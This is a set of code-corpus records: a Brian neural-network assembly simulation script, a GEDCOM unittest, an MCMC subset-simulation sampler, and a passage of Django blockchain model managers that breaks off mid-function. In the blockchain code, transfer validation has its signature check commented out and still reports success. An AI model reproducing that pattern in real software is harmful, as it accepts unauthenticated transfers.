10, 's_ass': 500, 'pr': pr, 'pf': pf, 'ext_input': 200 * pA,\n 'g_ee': gee, 'g_ie': gee, 'g_ei': gii, 'g_ii': gii, 'g_ff_coef': gfc,\n 'continuous_ass': continuous_ass}\n nn_f = Nets(config_test)\n\n # nn.generate_ps_assemblies('')\n nn_f.generate_ps_assemblies('gen_ordered')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n nn_f.set_voltage_monitor()\n nn_f.set_current_monitor()\n\n gr_f = nn_f.p_ass_index[0][0]\n\n t = 21 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 23 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n\n nn_f.mon_spike_e.record = False\n nn_f.mon_spike_i.record = False\n\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .1)\n nn_f.balance(5 * second, .01)\n nn_f.mon_spike_e.record = True\n nn_f.mon_spike_i.record = True\n nn_f.run_sim(5 * second)\n\n return nn_f\n\n\ndef test_psps():\n \"\"\"\n test PSPs\n \"\"\"\n ge0 = 0.1 * nS\n gi0 = 0.4 * nS\n cp = 0\n\n config_test = {'Ne': 10, 'Ni': 2, 'cp_ee': cp, 'cp_ie': cp, 'cp_ei': cp, 'cp_ii': cp,\n 'n_ass': 0, 's_ass': 1, 'pr': 0, 'pf': 0, 'ext_input': 0 * pA,\n 'g_ee': ge0, 'g_ie': ge0, 'g_ei': gi0, 'g_ii': gi0}\n\n nn_f = Nets(config_test)\n\n nn_f.C_ee = bb.Synapses(nn_f.Pe, nn_f.Pe, model='w:siemens', on_pre='ge+=w')\n nn_f.C_ee[0, 9] = True\n nn_f.C_ee.w = nn_f.g_ee\n nn_f.C_ee.delay = nn_f.D\n nn_f.network.add(nn_f.C_ee)\n\n '''\n '''\n target = nn_f.Pe[0]\n # noinspection PyTypeChecker\n ext_in = bb.SpikeGeneratorGroup(1, indices=[0], times=[300] * ms, clock=nn_f.network.clock)\n # noinspection PyPep8Naming\n C_syne = bb.Synapses(ext_in, target, model='w:siemens', on_pre='ge+=w')\n C_syne.connect_random(ext_in, target, sparseness=1.)\n C_syne.w = 130. * nn_f.g_ee\n nn_f.network.add(ext_in, C_syne)\n nn_f.nrn_meas_e = [0, 1, 9]\n nn_f.mon_volt_e = bb.StateMonitor(nn_f.Pe, 'v', record=nn_f.nrn_meas_e) # ,timestep=1)\n nn_f.network.add(nn_f.mon_volt_e)\n\n nn_f.run_sim(500 * ms)\n\n plt.plot(nn_f.mon_volt_e.times / ms,\n nn_f.mon_volt_e[9] / mV)\n plotter.show()\n\n return nn_f\n\n\ndef test_longseq():\n config_test = {'Ne': 20000, 'Ni': 5000, 'cp_ee': .01, 'cp_ie': .01, 'cp_ei': 0.01, 'cp_ii': .01,\n 'n_ass': 444, 's_ass': 150, 'pr': .19, 'pf': .19, 'synapses_per_nrn': 200,\n 'ext_input': 200 * pA, 'limit_syn_numbers': True,\n 'g_ee': 0.1 * nS, 'g_ie': 0.1 * nS, 'g_ei': 0.4 * nS, 'g_ii': 0.4 * nS}\n nn_f = Nets(config_test)\n nn_f.generate_ps_assemblies('gen_ass_overlap')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n nn_f.set_voltage_monitor()\n nn_f.set_current_monitor()\n\n gr_f = nn_f.p_ass_index[0][0]\n t = 21 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms, mcoef=30)\n\n nn_f.mon_spike_e.record = False\n nn_f.mon_spike_i.record = False\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .1)\n nn_f.balance(5 * second, .01)\n nn_f.mon_spike_e.record = True\n nn_f.mon_spike_i.record = True\n nn_f.run_sim(6 * second)\n\n # plotter.plot_ps_raster(nn, frac=1./150)\n\n fname = 'longseq444.npz'\n spikes4save = calc_spikes.get_spike_times_ps(nn_f, frac=1. / 150)\n np.savez_compressed(fname, spikes4save)\n\n return nn_f\n\n\ndef test_2_ass(Ne=20000):\n pr = 0.1\n pf = 0.06\n\n # noinspection PyPep8Naming\n Ni = Ne // 4\n cp = .01\n\n # the default conductances used for Ne=20000\n ge0 = 0.1 * nS\n gi0 = 0.4 * nS\n\n config_test = {'Ne': Ne, 'Ni': Ni, 'cp_ee': cp, 'cp_ie': cp, 'cp_ei': cp, 'cp_ii': cp,\n 'n_ass': 10, 's_ass': 500, 'pr': pr, 'pf': pf, 'ext_input': 200 * pA,\n 'g_ee': ge0, 'g_ie': ge0, 'g_ei': gi0, 'g_ii': gi0}\n nn_f = Nets(config_test)\n\n nn_f.generate_ps_assemblies('gen_ordered')\n nn_f.generate_ps_assemblies('gen_ordered')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n nn_f.set_voltage_monitor()\n nn_f.set_current_monitor()\n\n gr0 = nn_f.p_ass_index[0][0]\n gr1 = nn_f.p_ass_index[1][0]\n\n t = 21 * second\n nn_f.set_noisy_input(gr0, t, sigma=0 * ms)\n t = 22 * second\n nn_f.set_noisy_input(gr1, t, sigma=0 * ms)\n\n nn_f.mon_spike_e.record = False\n nn_f.mon_spike_i.record = False\n\n '''\n nn.balance(20*second,5.)\n nn.balance(20*second,1.)\n nn.balance(10*second,.1)\n nn.balance(10*second,.01)\n '''\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .1)\n nn_f.balance(5 * second, .01)\n nn_f.mon_spike_e.record = True\n nn_f.mon_spike_i.record = True\n nn_f.run_sim(5 * second)\n\n fname = '2asss.npz'\n spikes4save = calc_spikes.get_all_spikes(nn_f)\n np.savez_compressed(fname, np.array(spikes4save))\n return nn_f\n\n\ndef show_ass_frs():\n \"\"\"\n Plots the firing of sequent assemblies\n\n \"\"\"\n\n config_test = {'Ne': 20000, 'Ni': 5000, 'cp_ee': .01, 'cp_ie': .01, 'cp_ei': 0.01, 'cp_ii': .01,\n 'n_ass': 10, 's_ass': 500, 'pr': .06, 'pf': .06,\n 'ext_input': 200 * pA,\n 'g_ee': 0.1 * nS, 'g_ie': 0.1 * nS, 'g_ei': 0.4 * nS, 'g_ii': 0.4 * nS}\n nn_f = Nets(config_test)\n nn_f.generate_ps_assemblies('gen_ordered')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n nn_f.set_voltage_monitor()\n nn_f.set_current_monitor()\n nn_f.set_conductance_monitor()\n\n gr0 = nn_f.p_ass_index[0][0]\n t = 21 * second\n nn_f.set_noisy_input(gr0, t, sigma=0 * ms)\n t = 21.5 * second\n nn_f.set_noisy_input(gr0, t, sigma=0 * ms)\n t = 22. * second\n nn_f.set_noisy_input(gr0, t, sigma=0 * ms)\n t = 22.5 * second\n nn_f.set_noisy_input(gr0, t, sigma=0 * ms)\n t = 23. * second\n nn_f.set_noisy_input(gr0, t, sigma=0 * ms)\n\n nn_f.mon_spike_e.record = False\n nn_f.mon_spike_i.record = False\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .1)\n nn_f.balance(5 * second, .01)\n nn_f.mon_spike_e.record = True\n nn_f.mon_spike_i.record = True\n nn_f.run_sim(6 * second)\n plotter.plot_gr_fr2(nn_f, wbin=.2, ngroups=8)\n\n return nn_f\n\n\ndef test_tau():\n config_test = {'Ne': 20000, 'Ni': 5000, 'cp_ee': .01, 'cp_ie': .01, 'cp_ei': 0.01, 'cp_ii': .01,\n 'n_ass': 1, 's_ass': 500, 'pr': .00, 'pf': .00,\n 'ext_input': 200 * pA,\n 'g_ee': 0.1 * nS, 'g_ie': 0.1 * nS, 'g_ei': 0.4 * nS, 'g_ii': 0.4 * nS}\n nn_f = Nets(config_test)\n nn_f.generate_ps_assemblies('gen_ordered')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n nn_f.set_voltage_monitor()\n nn_f.set_current_monitor()\n nn_f.set_conductance_monitor()\n\n '''\n gr0 = nn.p_ass_index[0][0]\n t = 21*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 21.5*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 22.*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 22.5*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 23.*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 23.5*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n '''\n\n nn_f.mon_spike_e.record = False\n nn_f.mon_spike_i.record = False\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .1)\n nn_f.balance(4 * second, .01)\n nn_f.mon_spike_e.record = True\n nn_f.mon_spike_i.record = True\n nn_f.balance(1 * second, .01)\n\n nstim = 20\n currs = [10 * pA, 20 * pA, 40 * pA, 80 * pA, 150 * pA]\n dur_stim, dur_relx = 100, 400\n dur = dur_stim + dur_relx\n\n for curr in currs:\n for i in range(nstim):\n nn_f.stim_curr(curr=curr, dur_stim=dur_stim, dur_relx=dur_relx)\n\n plotter.plot_pop_raster(nn_f)\n\n nsubs = len(currs)\n mfrl = []\n wbin = .1\n dur_stim, dur_pre = 120, 20\n base_fr = 5.\n plt.figure()\n for i, curr in enumerate(currs):\n tl = 20000 + i * nstim * dur + np.arange(nstim) * dur\n plt.subplot(nsubs, 1, 1 + i)\n mfr = plotter.plot_mean_curr_act(nn_f, tl, dur_stim=dur_stim,\n dur_pre=dur_pre, wbin=wbin)\n mfrl.append(calc_spikes.gaus_smooth(mfr, w=wbin, sigma=.2))\n\n # comment peak_time = np.argmax(mfrl[-1]) * wbin - dur_pre\n peak_value = np.max(mfrl[-1])\n\n peak80_time = (mfr > base_fr + (.8 * (peak_value - base_fr))).argmax() * wbin - dur_pre\n peak20_time = (mfr > base_fr + (.2 * (peak_value - base_fr))).argmax() * wbin - dur_pre\n\n time_const = peak80_time - peak20_time\n print('time const is ', time_const)\n\n plt.show()\n return nn_f\n\n\n# noinspection PyPep8Naming\ndef test_boost_pf():\n Ne = 20000\n gfc = 1\n pr = 0.1\n pf = 0.00\n pf_boost = 0.04\n\n Ni = Ne // 4\n cp = .01\n\n # the default conductances used for Ne=20000\n ge0 = 0.1 * nS\n gi0 = 0.4 * nS\n\n gee = ge0 * (20000. / Ne) ** .5\n gii = gi0 * (20000. / Ne) ** .5\n\n pf = pf * (Ne / 20000.) ** .5\n pr = pr * (Ne / 20000.) ** .5\n\n config_test = {'Ne': Ne, 'Ni': Ni, 'cp_ee': cp, 'cp_ie': cp, 'cp_ei': cp, 'cp_ii': cp,\n 'n_ass': 10, 's_ass': 500, 'pr': pr, 'pf': pf, 'ext_input': 200 * pA,\n 'g_ee': gee, 'g_ie': gee, 'g_ei': gii, 'g_ii': gii, 'g_ff_coef': gfc,\n 'modified_contin': True}\n neur_net = Nets(config_test)\n\n # nn.generate_ps_assemblies('gen_no_overlap')\n neur_net.generate_ps_assemblies('gen_ordered')\n neur_net.set_net_connectivity()\n neur_net.set_spike_monitor()\n neur_net.set_rate_monitor()\n neur_net.set_voltage_monitor()\n neur_net.set_current_monitor()\n\n gr_f = neur_net.p_ass_index[0][0]\n\n t = 19.5 * second\n neur_net.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 20 * second\n neur_net.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 22 * second\n neur_net.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 24 * second\n neur_net.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 26 * second\n neur_net.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 28 * second\n neur_net.set_noisy_input(gr_f, t, sigma=0 * ms)\n for i in range(9):\n t = (29 + i) * second\n neur_net.set_noisy_input(gr_f, t, sigma=0 * ms)\n\n neur_net.mon_spike_e.record = False\n neur_net.mon_spike_i.record = False\n\n # nn.boost_pff(0.04)\n neur_net.balance(5 * second, 5.)\n neur_net.balance(5 * second, 1.)\n neur_net.balance(5 * second, .1)\n neur_net.balance(4 * second, .01)\n neur_net.mon_spike_e.record = True\n neur_net.mon_spike_i.record = True\n neur_net.balance(1 * second, .01)\n neur_net.boost_pff(pf_boost)\n neur_net.balance(2 * second, 5.)\n neur_net.balance(2 * second, 1.)\n neur_net.balance(2 * second, .1)\n neur_net.balance(2 * second, .01)\n neur_net.run_sim(4 * second)\n\n return neur_net\n\n\n# noinspection PyPep8Naming\ndef test_boost_pf_cont():\n Ne = 20000\n gfc = 1\n pr = 0.08\n pf = 0.00\n pf_boost = 0.04\n\n Ni = Ne // 4\n cp = .01\n\n # the default conductances used for Ne=20000\n ge0 = 0.1 * nS\n gi0 = 0.4 * nS\n\n gee = ge0 * (20000. / Ne) ** .5\n gii = gi0 * (20000. / Ne) ** .5\n\n pf = pf * (Ne / 20000.) ** .5\n pr = pr * (Ne / 20000.) ** .5\n\n config_test = {'Ne': Ne, 'Ni': Ni, 'cp_ee': cp, 'cp_ie': cp, 'cp_ei': cp, 'cp_ii': cp,\n 'n_ass': 10, 's_ass': 500, 'pr': pr, 'pf': pf, 'ext_input': 200 * pA,\n 'g_ee': gee, 'g_ie': gee, 'g_ei': gii, 'g_ii': gii, 'g_ff_coef': gfc,\n 'continuous_ass': True, 'modified_contin': True}\n nn_f = Nets(config_test)\n\n # nn.generate_ps_assemblies('gen_no_overlap')\n nn_f.generate_ps_assemblies('gen_ordered')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n nn_f.set_voltage_monitor()\n nn_f.set_current_monitor()\n\n gr_f = nn_f.p_ass_index[0][0]\n '''\n '''\n t = 19. * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 19.5 * second\n\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n for i in range(9):\n t = (28 + i) * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n\n nn_f.mon_spike_e.record = False\n nn_f.mon_spike_i.record = False\n\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .1)\n nn_f.balance(4 * second, .01)\n nn_f.mon_spike_e.record = True\n nn_f.mon_spike_i.record = True\n nn_f.balance(1 * second, .01)\n nn_f.boost_pff(pf_boost)\n nn_f.balance(2 * second, 5.)\n nn_f.balance(2 * second, 1.)\n nn_f.balance(2 * second, .1)\n nn_f.balance(2 * second, .01)\n nn_f.run_sim(9 * second)\n\n frac = .1\n fname = 'contASS_pr' + str(pr) + 'pfboost' + str(pf_boost) + \\\n 'frac' + str(frac) + '.npz'\n spikes4save = calc_spikes.get_spike_times_ps(nn_f,\n frac=frac, pick_first=False)\n np.savez_compressed(fname, spikes4save)\n\n return nn_f\n\n\ndef test_slopes():\n config_test = {'Ne': 20000, 'Ni': 5000, 'cp_ee': .01, 'cp_ie': .01, 'cp_ei': 0.01, 'cp_ii': .01,\n 'n_ass': 1, 's_ass': 500, 'pr': .0, 'pf': .0,\n 'ext_input': 200 * pA,\n 'g_ee': 0.1 * nS, 'g_ie': 0.1 * nS, 'g_ei': 0.4 * nS, 'g_ii': 0.4 * nS}\n nn_f = Nets(config_test)\n nn_f.generate_ps_assemblies('gen_ordered')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n nn_f.set_voltage_monitor()\n nn_f.set_current_monitor()\n nn_f.set_conductance_monitor()\n\n '''\n gr0 = nn.p_ass_index[0][0]\n t = 21*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 21.5*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 22.*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 22.5*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 23.*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n t = 23.5*second\n nn.set_noisy_input(gr0, t, sigma=0*ms) \n '''\n\n nn_f.mon_spike_e.record = False\n nn_f.mon_spike_i.record = False\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .1)\n nn_f.balance(4 * second, .01)\n nn_f.mon_spike_e.record = True\n nn_f.mon_spike_i.record = True\n nn_f.balance(1 * second, .01)\n\n for nrn_f in nn_f.p_ass_index[0][0]:\n nn_f.Pe[nrn_f].I += 5 * pA\n nn_f.run_sim(.5 * second)\n for nrn_f in nn_f.p_ass_index[0][0]:\n nn_f.Pe[nrn_f].I -= 5 * pA\n nn_f.run_sim(.5 * second)\n\n for nrn_f in nn_f.p_assinh_index[0][0]:\n nn_f.Pi[nrn_f].I += 5 * pA\n nn_f.run_sim(.5 * second)\n for nrn_f in nn_f.p_assinh_index[0][0]:\n nn_f.Pi[nrn_f].I -= 5 * pA\n nn_f.run_sim(.5 * second)\n\n fe = calc_spikes.make_fr_from_spikes(nn_f, 0, 5, True)[0]\n fi = calc_spikes.make_fr_from_spikes(nn_f, 0, 5, False)[0]\n plt.subplot(211)\n plt.plot(fe)\n plt.subplot(212)\n plt.plot(fi)\n\n # plt.show()\n return nn_f\n\n\n# noinspection PyPep8Naming\ndef test_contin(Ne=20000):\n gfc = 1\n Ni = Ne // 4\n cp = .01\n\n # the default conductances used for Ne=20000\n ge0 = 0.1 * nS\n gi0 = 0.4 * nS\n\n gee = ge0\n gii = gi0\n\n n_ass = 10\n s_ass = 500\n pr = .06\n pf = .06\n\n continuous_ass = True\n config_test = {'Ne': Ne, 'Ni': Ni, 'cp_ee': cp, 'cp_ie': cp, 'cp_ei': cp, 'cp_ii': cp,\n 'n_ass': n_ass, 's_ass': s_ass, 'pr': pr, 'pf': pf, 'ext_input': 200 * pA,\n 'g_ee': gee, 'g_ie': gee, 'g_ei': gii, 'g_ii': gii, 'g_ff_coef': gfc,\n 'continuous_ass': continuous_ass}\n nn_f = Nets(config_test)\n\n # nn.generate_ps_assemblies('gen_no_overlap')\n nn_f.generate_ps_assemblies('gen_ordered')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n nn_f.set_voltage_monitor()\n nn_f.set_current_monitor()\n\n gr_f = nn_f.p_ass_index[0][0]\n\n t = 20 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 21 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 22 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 23 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 24 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n\n nn_f.mon_spike_e.record = False\n nn_f.mon_spike_i.record = False\n\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .1)\n nn_f.balance(5 * second, .01)\n nn_f.mon_spike_e.record = True\n nn_f.mon_spike_i.record = True\n nn_f.run_sim(5 * second)\n\n return nn_f\n\n\nif __name__ == '__main__':\n from matplotlib import pyplot as plt\n\n config_main = {'Ne': 20000, 'Ni': 5000, 'cp_ee': .01, 'cp_ie': .01, 'cp_ei': 0.01, 'cp_ii': .01,\n 'n_ass': 10, 's_ass': 500, 'pr': .15, 'pf': .03, 'symmetric_sequence': True, 'p_rev': .03,\n 'g_ee': 0.1 * nS, 'g_ie': 0.1 * nS, 'g_ei': 0.4 * nS, 'g_ii': 0.4 * nS}\n nn = Nets(config_main)\n\n nn.generate_ps_assemblies('gen_no_overlap')\n nn.set_net_connectivity()\n\n nn.set_spike_monitor()\n nn.set_rate_monitor()\n\n for gr_num in range(nn.n_ass):\n gr = nn.p_ass_index[0][gr_num]\n t_inp = (20.55 + gr_num * .1) * second\n nn.set_noisy_input(gr, t_inp, sigma=0 * ms)\n\n nn.balance(5 * second, 5.)\n nn.balance(5 * second, 1.)\n nn.balance(5 * second, .1)\n nn.balance(5 * second, .01)\n # nn.run_sim(4*second)\n nn.Pe.I -= .0 * pA\n\n for nrn in nn.p_ass_index[0][0]:\n nn.Pe[nrn].I += 3 * pA\n nn.run_sim(.5 * second)\n for nrn in nn.p_ass_index[0][0]:\n nn.Pe[nrn].I -= 3 * pA\n\n nn.Pe.I -= 9 * pA\n nn.run_sim(1. * second)\n nn.Pe.I += 9 * pA\n\n for nrn in nn.p_ass_index[0][9]:\n nn.Pe[nrn].I += 3 * pA\n nn.run_sim(.5 * second)\n for nrn in nn.p_ass_index[0][9]:\n nn.Pe[nrn].I -= 3 * pA\n\n plotter.plot_ps_raster(nn, chain_n=0, frac=.1)\n plt.xlim([20000, 22000])\n","sub_path":"assemblyseq/assemblyseq.py","file_name":"assemblyseq.py","file_ext":"py","file_size_in_byte":65675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"259361165","text":"from userstories.sprint01_us.userStory08 import us08_birth_b4_marr_parents\nimport unittest \n\nclass UserStory08Test(unittest.TestCase):\n\n def test_us_08(self):\n error_list = us08_birth_b4_marr_parents(\"gedfilestest/sprint01_ged/us08testdata.ged\")\n print(error_list)\n self.assertEqual(error_list,['ANOMALY: FAMILY: US08: I19: born 1981-02-13 before marriage on 1981-02-14',\n 'ANOMALY: FAMILY: US08: I26: born 1984-12-14 after divorce on 1981-02-14'])\n\n \n \nif __name__ == '__main__':\n # note: there is no main(). Only test cases here\n unittest.main(exit=False, verbosity=2) \n","sub_path":"us_test/sprint01_tests/test08.py","file_name":"test08.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"337498357","text":"\"\"\"\n# ---------------------------------------------------------------------------\n# Conditional Sampling algorithm\n# ---------------------------------------------------------------------------\n# Created by:\n# Matthias Willer (matthias.willer@tum.de)\n# Engineering Risk Analysis Group\n# Technische Universitat Munchen\n# www.era.bgu.tum.de\n# ---------------------------------------------------------------------------\n# Version 2017-10\n# ---------------------------------------------------------------------------\n# References:\n# 1.\"MCMC algorithms for Subset Simulation\"\n# Papaioannou, Betz, Zwirglmaier, Straub (2015)\n# ---------------------------------------------------------------------------\n\"\"\"\n\nimport numpy as np\n\nclass CondSampling:\n def __init__(self, sample_marg_PDF, rho_k, burnin=0):\n self.sample_marg_PDF = sample_marg_PDF\n self.rho_k = rho_k\n self.T = burnin\n\n def sample_mcs_level(self, n_samples_per_level, LSF):\n # get dimension\n d = len(self.sample_marg_PDF)\n\n # initialize theta0 and g0\n theta0 = np.zeros((n_samples_per_level, d), float)\n g0 = np.zeros(n_samples_per_level, float)\n\n\n for i in range(0, n_samples_per_level):\n # sample theta0\n for k in range(0, d):\n theta0[i, k] = self.sample_marg_PDF[k]()\n\n # evaluate theta0\n g0[i] = LSF(theta0[i, :])\n\n # output\n return theta0, g0\n\n\n def sample_subsim_level(self, theta_seed, Ns, Nc, LSF, b):\n # get dimension\n d = np.size(theta_seed, axis=1)\n\n # initialization\n theta_list = []\n g_list = []\n\n # shuffle seeds to prevent bias\n theta_seed = np.random.permutation(theta_seed)\n\n for k in range(0, Nc):\n # msg = \"> > Sampling Level ... [\" + repr(int(k/Nc*100)) + \"%]\"\n # print(msg)\n\n # generate states of Markov chain\n theta_temp, g_temp = self.sample_markov_chain(theta_seed[k, :], Ns, LSF, b)\n\n # save Markov chain in list\n theta_list.append(theta_temp)\n g_list.append(g_temp)\n\n # convert theta_list and g_list to np.array()\n theta_array = np.asarray(theta_list).reshape((-1, d))\n g_array = np.asarray(g_list).reshape(-1)\n\n # output\n return theta_array, g_array\n\n def sample_markov_chain(self, theta0, Ns, LSF, b):\n # get dimension\n d = np.size(theta0)\n\n # initialize theta and g(x)\n theta = np.zeros((self.T+Ns, d), float)\n theta[0, :] = theta0\n g = np.zeros((self.T+Ns), float)\n g[0] = LSF(theta0)\n\n # compute sigma from correlation parameter rho_k\n sigma_cond = np.sqrt(1 - self.rho_k**2)\n\n\n for i in range(1, self.T+Ns):\n theta_star = np.zeros(d, float)\n # generate a candidate state xi:\n for k in range(0, d):\n # sample the candidate state\n mu_cond = self.rho_k * theta[i-1, k]\n theta_star[k] = np.random.normal(mu_cond, sigma_cond, 1)\n\n # check whether theta_star is in Failure domain (system analysis) and accept or reject it\n g_star = LSF(theta_star)\n if g_star <= b:\n # in failure domain -> accept\n theta[i, :] = theta_star\n g[i] = g_star\n else:\n # not in failure domain -> reject\n theta[i, :] = theta[i-1, :]\n g[i] = g[i-1]\n \n # apply burn-in\n theta = theta[self.T:, :]\n g = g[self.T:]\n\n # output\n return theta, g\n","sub_path":"python_sandbox/cond_sampling.py","file_name":"cond_sampling.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"461900738","text":"# -*- encoding: utf-8 -*-\n'''\nModel Managers RxChain\nBlockManager\nRXmanager\nTXmanager\nMedicationManager\n'''\nimport json\nimport logging\nfrom datetime import timedelta\n\nfrom django.db import models\nfrom django.apps import apps\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom django.core.cache import cache\nfrom django.core.serializers.json import DjangoJSONEncoder\n\nfrom core.utils import Hashcash\nfrom core.helpers import safe_set_cache, get_timestamp\nfrom api.exceptions import EmptyMedication, FailedVerifiedSignature\n\nfrom .helpers import genesis_hash_generator, GENESIS_INIT_DATA, get_genesis_merkle_root, CryptoTools\nfrom .utils import calculate_hash, get_merkle_root, PoE, pubkey_base64_to_rsa, ordered_data\nfrom .querysets import (\n PrescriptionQueryset,\n TransactionQueryset,\n AddressQueryset,\n)\n\nfrom .RSAaddresses import AddressBitcoin\n\nlogger = logging.getLogger('django_info')\n\nclass BlockManager(models.Manager):\n ''' Model Manager for Blocks '''\n\n def create_block(self, tx_queryset):\n # Do initial block or create next block\n last_block = Block.objects.last()\n if last_block is None:\n genesis = self.get_genesis_block()\n return self.generate_next_block(genesis.hash_block, tx_queryset)\n\n else:\n return self.generate_next_block(last_block.hash_block, tx_queryset)\n\n def get_genesis_block(self):\n # Get the genesis arbitrary block of the blockchain only once in life\n Block = apps.get_model('blockchain','Block')\n genesis_block = Block.objects.create(\n hash_block=genesis_hash_generator(),\n data=GENESIS_INIT_DATA,\n merkleroot=get_genesis_merkle_root())\n genesis_block.hash_before = \"0\"\n genesis_block.save()\n return genesis_block\n\n def generate_next_block(self, hash_before, tx_queryset):\n # Generete a new block\n\n new_block = self.create(previous_hash=hash_before)\n new_block.save()\n data_block = new_block.get_block_data(tx_queryset)\n new_block.hash_block = calculate_hash(new_block.id, hash_before, str(new_block.timestamp), data_block[\"sum_hashes\"])\n # Add Merkle Root\n new_block.merkleroot = data_block[\"merkleroot\"]\n # Proof of Existennce layer\n try:\n _poe = PoE() # init proof of existence element\n txid = _poe.journal(new_block.merkleroot)\n if txid is not None:\n new_block.poetxid = txid\n else:\n new_block.poetxid = \"\"\n except Exception as e:\n new_block.poetxid = \"\"\n logger.error(\"[PoE generate Block Error]: {}, type:{}\".format(e, type(e)))\n\n # Save\n new_block.save()\n\n return new_block\n\n\nclass TransactionManager(models.Manager):\n ''' Manager for prescriptions '''\n\n _crypto = CryptoTools(has_legacy_keys=False)\n\n def get_queryset(self):\n return TransactionQueryset(self.model, using=self._db)\n\n def has_not_block(self):\n return self.get_queryset().has_not_block()\n\n def create_block_attempt(self):\n '''\n Use PoW hashcash algoritm to attempt to create a block\n '''\n _hashcash_tools = Hashcash(debug=settings.DEBUG)\n\n if not cache.get('challenge') and not cache.get('counter') == 0:\n challenge = _hashcash_tools.create_challenge(word_initial=settings.HC_WORD_INITIAL)\n safe_set_cache('challenge', challenge)\n safe_set_cache('counter', 0)\n\n is_valid_hashcash, hashcash_string = _hashcash_tools.calculate_sha(cache.get('challenge'), cache.get('counter'))\n\n if is_valid_hashcash:\n block = Block.objects.create_block(self.has_not_block()) # TODO add on creation hash and merkle\n block.hashcash = hashcash_string\n block.nonce = cache.get('counter')\n block.save()\n safe_set_cache('challenge', None)\n safe_set_cache('counter', None)\n\n else:\n counter = cache.get('counter') + 1\n safe_set_cache('counter', counter)\n\n\n def is_transfer_valid(self, data, _previous_hash, pub_key, _signature):\n ''' Method to handle transfer validity!'''\n Prescription = apps.get_model('blockchain','Prescription')\n if not Prescription.objects.check_existence(data['previous_hash']):\n logger.info(\"[IS_TRANSFER_VALID] Send a transfer with a wrong reference previous_hash!\")\n return (False, None)\n\n before_rx = Prescription.objects.get(rxid=data['previous_hash'])\n\n if not before_rx.readable:\n logger.info(\"[IS_TRANSFER_VALID]The before_rx is not readable\")\n return (False, before_rx)\n\n # TODO ordered data\n try:\n _msg = json.dumps(data['data'], separators=(',',':'))\n except:\n logger.error(\"[TODO Fix] ADD VALIDATION METHOD \")\n _msg = \"\"\n # TODO add verify files data too\n\n # if not self._crypto.verify(_msg, _signature, self._crypto.un_savify_key(before_rx.public_key)):\n # logger.info(\"[IS_TRANSFER_VALID]Signature is not valid!\")\n # return (False, before_rx)\n\n logger.info(\"[IS_TRANSFER_VALID] Success\")\n return (True, before_rx)\n\n\n\n def create_tx(self, data, **kwargs):\n ''' Custom method for create Tx with rx item '''\n\n ''' Get initial data '''\n _payload = \"\"\n format = '%Y-%m-%dT%H:%M:%S%z'\n _signature = data.pop(\"signature\", None)\n _previous_hash = data.pop(\"previous_hash\", \"0\")\n # Get Public Key from API\n raw_pub_key = data.get(\"public_key\")\n timestamp = data[\"timestamp\"]\n timestamp.replace(tzinfo=timezone.utc)\n data[\"timestamp\"] = timestamp.isoformat()\n\n # Initalize some data\n try:\n 